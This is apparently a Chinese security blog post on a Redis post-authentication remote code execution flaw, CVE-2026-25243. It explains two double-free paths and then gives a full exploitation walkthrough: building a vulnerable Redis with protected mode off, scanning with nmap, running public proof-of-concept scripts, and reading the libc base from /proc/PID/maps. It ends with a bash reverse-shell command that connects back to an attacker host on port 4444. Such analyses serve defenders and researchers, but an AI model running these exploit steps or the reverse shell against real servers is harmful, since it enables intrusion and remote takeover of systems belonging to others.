redis 新型 RCE 漏洞 CVE-2026-25243 深度解析|认证后双路径攻击,无痕内存破坏实现远程代码执行
three安全之路
2026年7月28日 19:04
四川
在小说阅读器读本章
去阅读
导语: Redis高危认证远程代码执行漏洞CVE-2026-25243曝出补丁绕过新变种,该漏洞存在两条完全独立的攻击路径,均可触发堆双重释放(Double Free),最终实现远程代码执行。漏洞利用全程不会破坏业务数据,日志特征极少,隐蔽性远超传统攻击方式,企业需立刻开展资产自查加固。
一、漏洞概况
| 项目 | 详情 |
|---|---|
| 漏洞名称 | CVE-2026-25243 Redis 认证后远程代码执行(新变种绕过漏洞) |
| 漏洞原理 | 两条独立内存破坏路径,底层均为双重释放缺陷 |
| 受影响版本 | Redis ≤ 6.2.22、Redis ≤ 7.4.9、Redis ≤ 8.6.4 |
漏洞原理详解
漏洞存在两条独立内存破坏路径,底层均为双重释放(Double Free)缺陷:
路径一:zipmap 路径(原漏洞)
执行 RESTORE 加载恶意 DUMP 序列化载荷时,遗留哈希 zipmap 校验与转换逻辑不一致。超长 5 字节长度标识通过校验,但 zipmapNext 仅解析 1 字节长度,造成堆越界读取;内存释放逻辑重复调用 sdsfree,触发静默 Double Free(jemalloc 分配器下服务不会直接崩溃),可控类型混淆。
路径二:Stream 消费组路径(补丁绕过新变种)
Redis 加载 RDB 恢复 Stream 消费者组数据时,多条消费者引用同一条消息会共用同一个 streamNACK 对象;删除消费者后内存释放,再次删除另一个关联消费者会重复释放同一块内存,形成 UAF + Double Free 组合缺陷,成功绕过官方早期补丁。
二、完整攻击链
双重释放堆破坏 → 堆重叠 / 类型混淆 → 可控任意内存读写 → 泄露 ASLR/PIE/libc 基址 → 劫持哈希表dictType函数指针 → 执行system()/execve实现 RCE。
三、攻击特点
✅ 默认配置即可利用:Redis 默认关闭 DEBUG 命令、开启 ASLR 防护,无需调试权限
✅ 无痕攻击:利用过程不篡改业务数据,无明显崩溃日志,溯源难度极高
✅ 两种利用方案:libc system 方案可 fork 子进程执行命令,Redis 服务持续运行,隐蔽性更强
四、攻击前置条件
- 拥有 Redis 有效访问权限(无密码裸奔实例、持有正确 requirepass 密码)
- 账号未通过 ACL 拦截
RESTORE、XGROUP、EVAL高危命令 - 网络可连通 Redis 默认 6379 端口
- 仅 Linux x86\_64 环境可完整实现 RCE,Windows 平台利用难度极大
五、漏洞复现环境搭建(Linux)
搭建命令
wget https://download.redis.io/releases/redis-8.6.2.tar.gz
tar xzf redis-8.6.2.tar.gz
下载编译包
cd redis-8.6.2
进入目录
make
编译
src/redis-server --port 6379 --protected-mode no --enable-debug-command yes &
启动 Redis, & 的意思是让程序在后台运行,不占着终端
六、漏洞检测与利用完整流程
Step 1:端口探测与版本识别(Nmap)
nmap -p 6379 -sV 目标i
Step 2:漏洞 POC 检测
漏洞poc仓库:
https://github.com/dinosn/CVE-2026-25243
使用命令
python exploits\\poc_typeconfusion.py --host <目标IP> --port 6379 --flen 60
工具扫描,返回 HEAP OVERLAP CONFIRMED 就是漏洞存在。
Step 3:获取 Shell
需要先获取 system() 函数的内存地址。
获取方式有两种:
方法一(ASLR 未关闭):先利用漏洞的内存泄露能力,读取 malloc@GOT
获取 libc 基址,再计算 system 地址 = libc 基址 + 系统 libc 中 system 的偏移量。
方法二(ASLR 已关闭):直接读取 /proc/PID/maps 获取 libc 基址,固定不变。
- 获取 libc 基址与 system 地址
(本次测试环境关闭 ASLR;服务器默认开启 ASLR 时,必须先内存泄露获取基址、动态计算偏移。 )
获取 libc
# 1. 获取 Redis PID
pgrep redis-server
# 2. 读取 libc 基址
cat /proc/$(pgrep redis-server)/maps | grep libc | head -1
# 3. 计算 system 地址
# libc 基址 + 0x53910 = system 地址
- 修改 POC 偏移量
编辑exploits\\poc_rce_aslr_pie_rop.py,填入计算后的 system 地址:
- 执行利用,获取 Shell
python exploits\\poc_rce_aslr_pie_rop.py --host 192.168.229.131 --port 6379 --cmd \"bash -c 'bash -i >& /dev/tcp/192.168.229.1/4444 0>&1' &\"
CVE-2026-25243 最大威胁在于存在双重攻击链路,官方原始补丁仅修复 zipmap 路径,而 Stream 消费组 NACK 漏洞形成完整绕过链。漏洞利用不破坏业务缓存、日志隐蔽,搭配公开 POC 大幅降低攻击门槛。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论